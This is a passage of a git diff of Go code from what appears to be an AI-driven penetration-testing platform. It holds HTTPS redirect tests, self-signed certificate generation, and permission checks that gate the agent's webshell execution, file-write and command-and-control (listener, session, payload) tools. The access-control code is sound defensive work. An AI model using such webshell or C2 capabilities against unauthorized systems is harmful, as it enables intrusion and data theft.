||||||
|
httpsPort: 443,
|
||||||
|
host: "example.com:80",
|
||||||
|
uri: "/",
|
||||||
|
wantTarget: "https://example.com/",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
tt := tt
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
h := newHTTPToHTTPSRedirectHandler(tt.httpsPort)
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "http://"+tt.host+tt.uri, nil)
|
||||||
|
req.Host = tt.host
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusPermanentRedirect {
|
||||||
|
t.Fatalf("status = %d, want %d", rec.Code, http.StatusPermanentRedirect)
|
||||||
|
}
|
||||||
|
if got := rec.Header().Get("Location"); got != tt.wantTarget {
|
||||||
|
t.Fatalf("Location = %q, want %q", got, tt.wantTarget)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIsTLSHandshakeRecord(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if !isTLSHandshakeRecord(0x16) {
|
||||||
|
t.Fatal("expected TLS handshake record")
|
||||||
|
}
|
||||||
|
if isTLSHandshakeRecord('G') {
|
||||||
|
t.Fatal("GET should not be TLS")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestServerHTTPRedirectEnabled(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
disabled := false
|
||||||
|
enabled := true
|
||||||
|
if config.ServerHTTPRedirectEnabled(nil) {
|
||||||
|
t.Fatal("nil config should disable redirect")
|
||||||
|
}
|
||||||
|
if !config.ServerHTTPRedirectEnabled(&config.ServerConfig{TLSEnabled: true}) {
|
||||||
|
t.Fatal("HTTPS without explicit flag should enable redirect")
|
||||||
|
}
|
||||||
|
if config.ServerHTTPRedirectEnabled(&config.ServerConfig{TLSEnabled: true, TLSHTTPRedirect: &disabled}) {
|
||||||
|
t.Fatal("explicit false should disable redirect")
|
||||||
|
}
|
||||||
|
if !config.ServerHTTPRedirectEnabled(&config.ServerConfig{TLSEnabled: true, TLSHTTPRedirect: &enabled}) {
|
||||||
|
t.Fatal("explicit true should enable redirect")
|
||||||
|
}
|
||||||
|
if config.ServerHTTPRedirectEnabled(&config.ServerConfig{}) {
|
||||||
|
t.Fatal("plain HTTP should not redirect")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMainServerMuxHTTPRedirectAndHTTPS(t *testing.T) {
|
||||||
|
cert, err := generateMainServerSelfSignedCert()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("generate cert: %v", err)
|
||||||
|
}
|
||||||
|
handler := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
_, _ = io.WriteString(w, "ok")
|
||||||
|
})
|
||||||
|
srv := &http.Server{Handler: handler, TLSConfig: &tls.Config{
|
||||||
|
MinVersion: tls.VersionTLS12,
|
||||||
|
Certificates: []tls.Certificate{cert},
|
||||||
|
}}
|
||||||
|
if err := http2.ConfigureServer(srv, &http2.Server{}); err != nil {
|
||||||
|
t.Fatalf("configure http2: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("listen: %v", err)
|
||||||
|
}
|
||||||
|
defer ln.Close()
|
||||||
|
|
||||||
|
mux := newMainServerMux(ln, srv, portFromListenAddr(ln.Addr().String()), nil)
|
||||||
|
go func() { _ = mux.Serve() }()
|
||||||
|
|
||||||
|
client := &http.Client{
|
||||||
|
Transport: &http.Transport{
|
||||||
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true, MinVersion: tls.VersionTLS12},
|
||||||
|
},
|
||||||
|
CheckRedirect: func(_ *http.Request, _ []*http.Request) error {
|
||||||
|
return http.ErrUseLastResponse
|
||||||
|
},
|
||||||
|
}
|
||||||
|
addr := ln.Addr().String()
|
||||||
|
|
||||||
|
httpResp, err := client.Get("http://" + addr + "/")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("http get: %v", err)
|
||||||
|
}
|
||||||
|
_ = httpResp.Body.Close()
|
||||||
|
if httpResp.StatusCode != http.StatusPermanentRedirect {
|
||||||
|
t.Fatalf("http status = %d, want %d", httpResp.StatusCode, http.StatusPermanentRedirect)
|
||||||
|
}
|
||||||
|
if got := httpResp.Header.Get("Location"); got != "https://127.0.0.1:"+strconv.Itoa(portFromListenAddr(addr))+"/" {
|
||||||
|
t.Fatalf("Location = %q", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
httpsResp, err := client.Get("https://" + addr + "/")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("https get: %v", err)
|
||||||
|
}
|
||||||
|
defer httpsResp.Body.Close()
|
||||||
|
if httpsResp.StatusCode != http.StatusOK {
|
||||||
|
t.Fatalf("https status = %d, want %d", httpsResp.StatusCode, http.StatusOK)
|
||||||
|
}
|
||||||
|
body, _ := io.ReadAll(httpsResp.Body)
|
||||||
|
if string(body) != "ok" {
|
||||||
|
t.Fatalf("body = %q, want ok", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/ecdsa"
|
||||||
|
"crypto/elliptic"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/tls"
|
||||||
|
"crypto/x509"
|
||||||
|
"crypto/x509/pkix"
|
||||||
|
"encoding/pem"
|
||||||
|
"fmt"
|
||||||
|
"math/big"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// mainTLSMode 主 Web 服务 TLS 启动方式。
|
||||||
|
type mainTLSMode int
|
||||||
|
|
||||||
|
const (
|
||||||
|
mainTLSOff mainTLSMode = iota
|
||||||
|
mainTLSFromFiles
|
||||||
|
mainTLSInMemorySelfSigned
|
||||||
|
)
|
||||||
|
|
||||||
|
// prepareMainServerTLS 根据 server 配置决定主站是否启用 HTTPS(及 HTTP/2 协商)。
|
||||||
|
// fromFiles:使用 tls_cert_path + tls_key_path,由 http.Server.ListenAndServeTLS 加载 PEM。
|
||||||
|
// inMemory:tls_auto_self_sign 生成的自签证书,仅用于本地/测试。
|
||||||
|
func prepareMainServerTLS(cfg *config.ServerConfig) (mode mainTLSMode, tlsConf *tls.Config, certFile, keyFile string, err error) {
|
||||||
|
if cfg == nil || !config.MainWebUIUsesHTTPS(cfg) {
|
||||||
|
return mainTLSOff, nil, "", "", nil
|
||||||
|
}
|
||||||
|
certFile = strings.TrimSpace(cfg.TLSCertPath)
|
||||||
|
keyFile = strings.TrimSpace(cfg.TLSKeyPath)
|
||||||
|
if certFile != "" && keyFile != "" {
|
||||||
|
// 证书由 ListenAndServeTLS 从文件加载;此处仅提供最小 TLS 配置供 http2.ConfigureServer 合并 ALPN。
|
||||||
|
return mainTLSFromFiles, &tls.Config{MinVersion: tls.VersionTLS12}, certFile, keyFile, nil
|
||||||
|
}
|
||||||
|
if cfg.TLSAutoSelfSign {
|
||||||
|
cert, genErr := generateMainServerSelfSignedCert()
|
||||||
|
if genErr != nil {
|
||||||
|
return mainTLSOff, nil, "", "", fmt.Errorf("生成自签 TLS 证书: %w", genErr)
|
||||||
|
}
|
||||||
|
tlsConf = &tls.Config{
|
||||||
|
MinVersion: tls.VersionTLS12,
|
||||||
|
Certificates: []tls.Certificate{cert},
|
||||||
|
}
|
||||||
|
return mainTLSInMemorySelfSigned, tlsConf, "", "", nil
|
||||||
|
}
|
||||||
|
return mainTLSOff, nil, "", "", fmt.Errorf("server: 已启用 TLS(tls_enabled / tls_auto_self_sign / 证书路径),请设置 tls_cert_path 与 tls_key_path,或将 tls_auto_self_sign 设为 true(仅测试环境)")
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateMainServerSelfSignedCert() (tls.Certificate, error) {
|
||||||
|
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
serial, err := rand.Int(rand.Reader, big.NewInt(1<<62))
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
tmpl := &x509.Certificate{
|
||||||
|
SerialNumber: serial,
|
||||||
|
Subject: pkix.Name{CommonName: "CyberStrikeAI"},
|
||||||
|
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||||
|
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||||
|
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||||
|
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||||
|
IPAddresses: []net.IP{net.ParseIP("127.0.0.1"), net.ParseIP("::1")},
|
||||||
|
DNSNames: []string{"localhost"},
|
||||||
|
}
|
||||||
|
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
keyDER, err := x509.MarshalECPrivateKey(priv)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der})
|
||||||
|
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||||
|
return tls.X509KeyPair(certPEM, keyPEM)
|
||||||
|
}
|
||||||
@@ -0,0 +1,407 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/agent"
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
)
|
||||||
|
|
||||||
|
func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string]interface{}) error {
|
||||||
|
return func(ctx context.Context, toolName string, args map[string]interface{}) error {
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("missing authenticated principal")
|
||||||
|
}
|
||||||
|
require := func(permission string) error {
|
||||||
|
if !principal.HasPermission(permission) {
|
||||||
|
return fmt.Errorf("missing permission %s", permission)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
resource := func(permission, resourceType, argument string) error {
|
||||||
|
if err := require(permission); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
id := mcpAuthorizationString(args, argument)
|
||||||
|
if id == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
||||||
|
return fmt.Errorf("no access to %s %s", resourceType, id)
|
||||||
|
}
|
||||||
|
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, id); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
toolExecutionResource := func(permission string) error {
|
||||||
|
if err := require(permission); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
id := mcpAuthorizationString(args, "execution_id")
|
||||||
|
if id == "" || db == nil || !db.UserCanAccessToolExecution(principal.UserID, principal.ScopeFor(permission), id) {
|
||||||
|
return fmt.Errorf("no access to tool execution %s", id)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
switch toolName {
|
||||||
|
case builtin.ToolWebshellExec, builtin.ToolWebshellFileWrite:
|
||||||
|
return resource("webshell:write", "webshell", "connection_id")
|
||||||
|
case builtin.ToolWebshellFileList, builtin.ToolWebshellFileRead:
|
||||||
|
return resource("webshell:read", "webshell", "connection_id")
|
||||||
|
case builtin.ToolManageWebshellList:
|
||||||
|
return require("webshell:read")
|
||||||
|
case builtin.ToolManageWebshellAdd:
|
||||||
|
return require("webshell:write")
|
||||||
|
case builtin.ToolManageWebshellUpdate, builtin.ToolManageWebshellTest:
|
||||||
|
return resource("webshell:write", "webshell", "connection_id")
|
||||||
|
case builtin.ToolManageWebshellDelete:
|
||||||
|
return resource("webshell:delete", "webshell", "connection_id")
|
||||||
|
case builtin.ToolRecordVulnerability:
|
||||||
|
if err := require("vulnerability:write"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
conversationID := mcpAuthorizationString(args, "conversation_id")
|
||||||
|
if conversationID == "" {
|
||||||
|
conversationID = mcpAuthorizationConversationID(ctx)
|
||||||
|
}
|
||||||
|
if conversationID == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor("vulnerability:write"), "conversation", conversationID) {
|
||||||
|
return fmt.Errorf("no access to conversation %s", conversationID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case builtin.ToolListVulnerabilities:
|
||||||
|
if err := require("vulnerability:read"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
conversationID := mcpAuthorizationConversationID(ctx)
|
||||||
|
if conversationID == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor("vulnerability:read"), "conversation", conversationID) {
|
||||||
|
return fmt.Errorf("no access to conversation %s", conversationID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case builtin.ToolGetVulnerability:
|
||||||
|
return resource("vulnerability:read", "vulnerability", "id")
|
||||||
|
case builtin.ToolQueryAssets:
|
||||||
|
return require("asset:read")
|
||||||
|
case builtin.ToolGetAsset:
|
||||||
|
return resource("asset:read", "asset", "id")
|
||||||
|
case builtin.ToolCreateAsset:
|
||||||
|
if err := require("asset:write"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if projectID := mcpAuthorizationString(args, "project_id"); projectID != "" && (db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor("asset:write"), "project", projectID)) {
|
||||||
|
return fmt.Errorf("no access to project %s", projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case builtin.ToolUpdateAsset, builtin.ToolCompleteAssetScan:
|
||||||
|
if err := resource("asset:write", "asset", "id"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if toolName == builtin.ToolCompleteAssetScan {
|
||||||
|
conversationID := mcpAuthorizationConversationID(ctx)
|
||||||
|
if conversationID == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor("asset:write"), "conversation", conversationID) {
|
||||||
|
return fmt.Errorf("no access to conversation %s", conversationID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if projectID := mcpAuthorizationString(args, "project_id"); projectID != "" && (db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor("asset:write"), "project", projectID)) {
|
||||||
|
return fmt.Errorf("no access to project %s", projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case builtin.ToolDeleteAsset:
|
||||||
|
return resource("asset:delete", "asset", "id")
|
||||||
|
case builtin.ToolUpsertProjectFact, builtin.ToolDeprecateProjectFact, builtin.ToolRestoreProjectFact:
|
||||||
|
return authorizeProjectTool(ctx, principal, db, "project:write")
|
||||||
|
case builtin.ToolGetProjectFact, builtin.ToolListProjectFacts, builtin.ToolSearchProjectFacts:
|
||||||
|
return authorizeProjectTool(ctx, principal, db, "project:read")
|
||||||
|
case builtin.ToolListKnowledgeRiskTypes, builtin.ToolSearchKnowledgeBase:
|
||||||
|
return require("knowledge:read")
|
||||||
|
case builtin.ToolAnalyzeImage:
|
||||||
|
return require("agent:execute")
|
||||||
|
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution:
|
||||||
|
return toolExecutionResource("monitor:read")
|
||||||
|
case builtin.ToolCancelToolExecution:
|
||||||
|
return toolExecutionResource("monitor:write")
|
||||||
|
case builtin.ToolBatchTaskList:
|
||||||
|
return require("tasks:read")
|
||||||
|
case builtin.ToolBatchTaskGet:
|
||||||
|
return resource("tasks:read", "batch_task", "queue_id")
|
||||||
|
case builtin.ToolBatchTaskCreate:
|
||||||
|
if err := require("tasks:write"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if projectID := mcpAuthorizationString(args, "project_id"); projectID != "" && (db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor("tasks:write"), "project", projectID)) {
|
||||||
|
return fmt.Errorf("no access to project %s", projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case builtin.ToolBatchTaskDelete, builtin.ToolBatchTaskRemove:
|
||||||
|
return resource("tasks:delete", "batch_task", "queue_id")
|
||||||
|
case builtin.ToolBatchTaskStart, builtin.ToolBatchTaskRerun, builtin.ToolBatchTaskPause,
|
||||||
|
builtin.ToolBatchTaskUpdateMetadata, builtin.ToolBatchTaskUpdateSchedule,
|
||||||
|
builtin.ToolBatchTaskScheduleEnabled, builtin.ToolBatchTaskAdd, builtin.ToolBatchTaskUpdate:
|
||||||
|
return resource("tasks:write", "batch_task", "queue_id")
|
||||||
|
case builtin.ToolC2Listener:
|
||||||
|
return authorizeC2Action(ctx, principal, db, args, "c2_listener", "listener_id")
|
||||||
|
case builtin.ToolC2Session, builtin.ToolC2Task, builtin.ToolC2File:
|
||||||
|
if toolName == builtin.ToolC2File && mcpAuthorizationString(args, "action") == "get_result" {
|
||||||
|
return authorizeC2Action(ctx, principal, db, args, "c2_task", "task_id")
|
||||||
|
}
|
||||||
|
return authorizeC2Action(ctx, principal, db, args, "c2_session", "session_id")
|
||||||
|
case builtin.ToolC2TaskManage:
|
||||||
|
return authorizeC2Action(ctx, principal, db, args, "c2_task", "task_id")
|
||||||
|
case builtin.ToolC2Payload:
|
||||||
|
return resource("c2:write", "c2_listener", "listener_id")
|
||||||
|
case builtin.ToolC2Event:
|
||||||
|
if id := mcpAuthorizationString(args, "session_id"); id != "" {
|
||||||
|
return resource("c2:read", "c2_session", "session_id")
|
||||||
|
}
|
||||||
|
if id := mcpAuthorizationString(args, "task_id"); id != "" {
|
||||||
|
return resource("c2:read", "c2_task", "task_id")
|
||||||
|
}
|
||||||
|
if filter := mcpEffectiveProjectFilter(ctx, db); filter != "" {
|
||||||
|
return require("c2:read")
|
||||||
|
}
|
||||||
|
if principal.ScopeFor("c2:read") != database.RBACScopeAll {
|
||||||
|
return fmt.Errorf("unfiltered C2 event list requires global scope")
|
||||||
|
}
|
||||||
|
return require("c2:read")
|
||||||
|
case builtin.ToolC2Profile:
|
||||||
|
// Profiles are process-global and do not yet have an owner. Writes are
|
||||||
|
// therefore reserved for global scope; reads require c2:read.
|
||||||
|
if mcpAuthorizationString(args, "action") == "list" || mcpAuthorizationString(args, "action") == "get" {
|
||||||
|
return require("c2:read")
|
||||||
|
}
|
||||||
|
permission := "c2:write"
|
||||||
|
if mcpAuthorizationString(args, "action") == "delete" {
|
||||||
|
permission = "c2:delete"
|
||||||
|
}
|
||||||
|
if principal.ScopeFor(permission) != database.RBACScopeAll {
|
||||||
|
return fmt.Errorf("C2 profile mutation requires global scope")
|
||||||
|
}
|
||||||
|
if mcpAuthorizationString(args, "action") == "delete" {
|
||||||
|
return require("c2:delete")
|
||||||
|
}
|
||||||
|
return require("c2:write")
|
||||||
|
default:
|
||||||
|
if builtin.IsBuiltinTool(toolName) {
|
||||||
|
return fmt.Errorf("no authorization policy registered for builtin tool %s", toolName)
|
||||||
|
}
|
||||||
|
if principal.HasPermission("agent:local-execute") {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("missing agent:local-execute")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func externalMCPToolAuthorizer() func(context.Context, string, map[string]interface{}) error {
|
||||||
|
return func(ctx context.Context, toolName string, _ map[string]interface{}) error {
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("missing authenticated principal")
|
||||||
|
}
|
||||||
|
if !principal.HasPermission("mcp:external:execute") {
|
||||||
|
return fmt.Errorf("missing permission mcp:external:execute")
|
||||||
|
}
|
||||||
|
if principal.ScopeFor("mcp:external:execute") != database.RBACScopeAll {
|
||||||
|
return fmt.Errorf("external MCP invocation requires global scope")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(toolName) == "" {
|
||||||
|
return fmt.Errorf("missing external tool name")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func authorizeC2Action(ctx context.Context, principal authctx.Principal, db *database.DB, args map[string]interface{}, resourceType, argument string) error {
|
||||||
|
action := mcpAuthorizationString(args, "action")
|
||||||
|
permission := "c2:write"
|
||||||
|
if action == "list" || action == "get" || action == "get_result" || action == "wait" {
|
||||||
|
permission = "c2:read"
|
||||||
|
} else if action == "delete" || action == "delete_batch" {
|
||||||
|
permission = "c2:delete"
|
||||||
|
}
|
||||||
|
if !principal.HasPermission(permission) {
|
||||||
|
return fmt.Errorf("missing permission %s", permission)
|
||||||
|
}
|
||||||
|
id := mcpAuthorizationString(args, argument)
|
||||||
|
if action == "delete_batch" {
|
||||||
|
ids := mcpAuthorizationStrings(args, argument+"s")
|
||||||
|
if len(ids) == 0 {
|
||||||
|
return fmt.Errorf("missing resource identifiers %ss", argument)
|
||||||
|
}
|
||||||
|
for _, candidate := range ids {
|
||||||
|
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, candidate) {
|
||||||
|
return fmt.Errorf("no access to %s %s", resourceType, candidate)
|
||||||
|
}
|
||||||
|
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, candidate); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if id == "" {
|
||||||
|
if action == "create" {
|
||||||
|
projectID := mcpAuthorizationString(args, "project_id")
|
||||||
|
if projectID == "" {
|
||||||
|
projectID = mcpEffectiveProjectFilter(ctx, db)
|
||||||
|
if projectID == database.ProjectFilterUnbound {
|
||||||
|
projectID = ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if projectID != "" && (db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), "project", projectID)) {
|
||||||
|
return fmt.Errorf("no access to project %s", projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if action == "list" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("missing resource identifier %s", argument)
|
||||||
|
}
|
||||||
|
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
||||||
|
return fmt.Errorf("no access to %s %s", resourceType, id)
|
||||||
|
}
|
||||||
|
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, id); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func authorizeMCPProjectResourceBoundary(ctx context.Context, db *database.DB, resourceType, resourceID string) error {
|
||||||
|
filter := mcpEffectiveProjectFilter(ctx, db)
|
||||||
|
if filter == "" || db == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
projectID, ok, err := mcpResourceProjectID(db, resourceType, resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if filter == database.ProjectFilterUnbound {
|
||||||
|
if projectID != "" {
|
||||||
|
return fmt.Errorf("resource %s %s belongs to project %s, current conversation is unbound", resourceType, resourceID, projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if projectID != filter {
|
||||||
|
if projectID == "" {
|
||||||
|
return fmt.Errorf("resource %s %s is unbound, current conversation project is %s", resourceType, resourceID, filter)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("resource %s %s belongs to project %s, current conversation project is %s", resourceType, resourceID, projectID, filter)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpResourceProjectID(db *database.DB, resourceType, resourceID string) (string, bool, error) {
|
||||||
|
switch resourceType {
|
||||||
|
case "webshell":
|
||||||
|
conn, err := db.GetWebshellConnection(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if conn == nil {
|
||||||
|
return "", true, fmt.Errorf("webshell not found")
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(conn.ProjectID), true, nil
|
||||||
|
case "c2_listener":
|
||||||
|
listener, err := db.GetC2Listener(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if listener == nil {
|
||||||
|
return "", true, fmt.Errorf("listener not found")
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(listener.ProjectID), true, nil
|
||||||
|
case "c2_session":
|
||||||
|
session, err := db.GetC2Session(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if session == nil {
|
||||||
|
return "", true, fmt.Errorf("session not found")
|
||||||
|
}
|
||||||
|
return mcpResourceProjectID(db, "c2_listener", session.ListenerID)
|
||||||
|
case "c2_task":
|
||||||
|
task, err := db.GetC2Task(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if task == nil {
|
||||||
|
return "", true, fmt.Errorf("task not found")
|
||||||
|
}
|
||||||
|
return mcpResourceProjectIDFromC2Session(db, task.SessionID)
|
||||||
|
default:
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpResourceProjectIDFromC2Session(db *database.DB, sessionID string) (string, bool, error) {
|
||||||
|
session, err := db.GetC2Session(sessionID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
if session == nil {
|
||||||
|
return "", true, fmt.Errorf("session not found")
|
||||||
|
}
|
||||||
|
return mcpResourceProjectID(db, "c2_listener", session.ListenerID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpAuthorizationStrings(args map[string]interface{}, key string) []string {
|
||||||
|
values := []string{}
|
||||||
|
switch raw := args[key].(type) {
|
||||||
|
case []string:
|
||||||
|
for _, value := range raw {
|
||||||
|
if value = strings.TrimSpace(value); value != "" {
|
||||||
|
values = append(values, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case []interface{}:
|
||||||
|
for _, item := range raw {
|
||||||
|
if value, ok := item.(string); ok {
|
||||||
|
if value = strings.TrimSpace(value); value != "" {
|
||||||
|
values = append(values, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return values
|
||||||
|
}
|
||||||
|
|
||||||
|
func authorizeProjectTool(ctx context.Context, principal authctx.Principal, db *database.DB, permission string) error {
|
||||||
|
if !principal.HasPermission(permission) {
|
||||||
|
return fmt.Errorf("missing permission %s", permission)
|
||||||
|
}
|
||||||
|
conversationID := mcpAuthorizationConversationID(ctx)
|
||||||
|
if conversationID == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), "conversation", conversationID) {
|
||||||
|
return fmt.Errorf("no access to conversation %s", conversationID)
|
||||||
|
}
|
||||||
|
projectID, err := db.GetConversationProjectID(conversationID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("no access to project: %w", err)
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(projectID) == "" {
|
||||||
|
return fmt.Errorf("当前对话未绑定项目,无法使用项目黑板工具,请先在对话中选择项目或创建带项目的对话")
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), "project", projectID) {
|
||||||
|
return fmt.Errorf("no access to project %s", projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpAuthorizationConversationID(ctx context.Context) string {
|
||||||
|
if id := strings.TrimSpace(agent.ConversationIDFromContext(ctx)); id != "" {
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(mcp.MCPConversationIDFromContext(ctx))
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpAuthorizationString(args map[string]interface{}, key string) string {
|
||||||
|
value, _ := args[key].(string)
|
||||||
|
return strings.TrimSpace(value)
|
||||||
|
}
|
||||||
@@ -0,0 +1,261 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
"cyberstrike-ai/internal/security"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMCPToolAuthorizerEnforcesPermissionAndResource(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-authz.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
